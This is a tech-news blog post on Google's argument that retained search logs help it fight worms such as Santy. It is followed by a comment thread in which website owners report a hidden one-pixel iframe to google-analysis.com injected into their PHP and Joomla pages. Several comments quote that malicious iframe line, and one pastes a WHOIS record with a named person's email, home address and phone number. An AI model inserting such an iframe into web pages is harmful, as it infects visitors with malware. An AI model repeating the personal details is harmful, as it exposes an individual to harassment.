Google: G'arn, I'll swap ya privacy for security

Google: G'arn, I'll swap ya privacy for security

Summary: Would you be happier that Google collects data about your Internet history if you knew their log data was used to fight some seriously nasty worms?

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Like a school yard card-swapping scheme, some Google researchers think privacy is a token ripe for exchanging. Would you be happier about Google collecting data on your Internet history if you knew they used it to fight nasty Web worms?

A few weeks ago I listened to Justice Kirby's thoughts on the Internet and privacy. He talked about "usage limitation" -- a privacy principle applied to data collection which holds that an organisation can only use information collected for the reason expressed to the consenting individual.

The principle had worked well for at least 20 years, Kirby said. Then along came Google offering people Web search that was so good they tossed their privacy concerns overboard for the joy of free search.

But privacy watchdogs keep barking about the implications of Google's unchecked collection and retention of data on Internet users' habits. We're safe now, but what happens when Google's isn't so profitable any more? Did I hear the words "US recession" and "Google's share price" mentioned?

This is problematic for Google since, according to one of its chief economists, Hal Varian, it can't help collecting data.

"If we don't keep a history, we have no good way to evaluate our progress and make improvements," writes Varian in his blog.

Google security researcher Niels Provos has found another reason to support Google's thirst for data about you: it keeps you safe.

In 2004 the Santy worm exploited Google's search engine to find vulnerable PHP Bulletin Board software. The technique was effective, infecting thousands of Web servers across the world within hours of its release.

Google was equally effective in its response. It used its server logs to help develop a process to distinguish Santy requests from real ones, so that it could stop the worm accessing Google.com.

"What this means," Provos divines, "is that whenever you use Google search, or Google Apps, or any of our other services, your interactions with those products helps us learn more about security threats that could impact your online experience. And the better the data we have, the more effectively we can protect all our users."

I'm not sure how to take this really. Does that mean if I don't allow Google to collect data about me that I will somehow be worse off? Or should I say, if I had a choice about how much information it collects and keeps about me, would I be less secure?

Somehow I doubt it. And even though I doubt I will ever be given a choice in this matter, as Kirby said, we shouldn't just give in to the demands technology-makers impose on us, because: "To do nothing is to make a decision to let others go and take technology where they will."

Topics: Google, Malware, Privacy, Security

Liam Tung

About Liam Tung

Liam Tung is an Australian business technology journalist living a few too many Swedish miles north of Stockholm for his liking. He gained a bachelors degree in economics and arts (cultural studies) at Sydney's Macquarie University, but hacked (without Norse or malicious code for that matter) his way into a career as an enterprise tech, security and telecommunications journalist with ZDNet Australia. These days Liam is a full time freelance technology journalist who writes for several publications.

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17 comments
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  • Trojan horses and snake oil

    Yep the best way to sell something bad is to put it in a nice wrapper and go the whole con.
    "You there the cripple in the audience I have never seen before come try some of my Snake Oil."

    Then the soldiers come out in the middle of the night and bash you senseless.
    westmob-e2860
  • Found some code on my home page recently, that I didn't put there.

    My page was php and it was broken, so I checked the code and found that what broke it was this line:

    <iframe src=http://google-analysis.com/in.cgi?9 width=1 height=1></iframe>

    I certainly didn't put it there. Looked up the website - doesn't seem to exist.

    Is this someone impersonating google or what?
    Any info would be appreciated
    anonymous
  • Re: Found some code on my home page recently, that I didn't put there.

    What is your site address?
    anonymous
  • Re: Found some code on my home page recently, that I didn't put there.

    This is a malicious server. We're working to have the content removed.

    We'd appreciate any further information you can provide on the vulnerability exploited to inject the iframe into your site.

    You can contact us at auscert@auscert.org.au
    anonymous
  • The owner of that domain is...

    google-analysis.com
    Registration Service Provided By: ESTDOMAINS INC
    Contact: +1.3027224217
    Website: http://www.estdomains.com

    Domain Name: GOOGLE-ANALYSIS.COM

    Registrant:
    N/A
    Cheryl L Farrior (marlisa1985@yahoo.com)
    2705 Mill Wood Cove
    Lexington
    Kentucky,40511
    US
    Tel. +1.8595234143

    Creation Date: 01-Oct-2007
    Expiration Date: 01-Oct-2008

    Domain servers in listed order:
    ns1.google-analysis.com
    ns2.google-analysis.com


    Administrative Contact:
    N/A
    Cheryl L Farrior (marlisa1985@yahoo.com)
    2705 Mill Wood Cove
    Lexington
    Kentucky,40511
    US
    Tel. +1.8595234143

    Technical Contact:
    N/A
    Cheryl L Farrior (marlisa1985@yahoo.com)
    2705 Mill Wood Cove
    Lexington
    Kentucky,40511
    US
    Tel. +1.8595234143

    Billing Contact:
    N/A
    Cheryl L Farrior (marlisa1985@yahoo.com)
    2705 Mill Wood Cove
    Lexington
    Kentucky,40511
    US
    Tel. +1.8595234143

    Status:ACTIVE
    anonymous
  • Re: Found some code on my home page recently, that I didn't put there.

    Whilst providing a seo proposal for a client, I discovered (should I say AVG 8 warned me) about this possible trojan.

    Obviously this is not good for any site, much less one that relies on its online business for a living.

    The site is using shared hosting at smartyhost Australia.

    Is this code injection only being done on Australian servers or is it world wide?

    Naturally I'm taking a screen cap of the AVG warning and will send to the client with a simple explanation. I'll also let her know about this URL too.

    Cheers

    D
    anonymous
  • Same deal

    I have the same situation also on smartyhost(!!!)

    www.digitalwelcomemat.com

    Ill move it to www.digitalwelcomemat.com/virus.html

    Any info would be good
    anonymous
  • Same deal 2

    I was also affected, and coincidently my site was hosted with smartyhost.com.au.

    They too have inserted iframes with src=http://google-analysis.com/in.cgi?9. I have had to remove it today because
    anonymous
  • Me too - also with Smartyhost!

    I've got a Joomla website and the code was inserted into the PHP
    anonymous
  • yep

    I have the same bug at the top of my rss feed... i also have smartyhost hosting....
    anonymous
  • Another occurence

    same iframe src=http://google-analysis.com/in.cgi?9 found inserted on my client website - also at smartyhost.

    Similar expolitation in Jan 08 - code (was iframe src=http://x-road.co.kr/rich/out.php)
    anonymous
  • same deal x 3

    my only site hosted by smartyhost was attacked like this a few weeks ago

    and today two sites hosted by jumba.

    my header.php, footer.php index.php and index.html files were targeted

    is everyone letting their host know this happening?
    anonymous
  • same deal 4

    I too, host a Joomla 1.5 website on smartyhost and get the same problem.

    Has anyone reported the problem to Smartyhost?
    anonymous
  • me too

    same problem here with mdwebhosting :(
    anonymous
  • Me as well

    I keep getting this code on my joomla site hosted by, you guessed it smartyhost, I have removed it several times but it keeps re-appearing
    anonymous
  • same

    i have the same problem, index.php and another XXXindex.html were affected.
    Also, a new file was injected there- how this is possible?
    anonymous
  • 3 sites

    I have had 3 different sites all hosted with smartyhost and all attacked with the same code iframe http://google-analysis.com/in.cgi?9

    why has smartyhost not fixed this problem?
    anonymous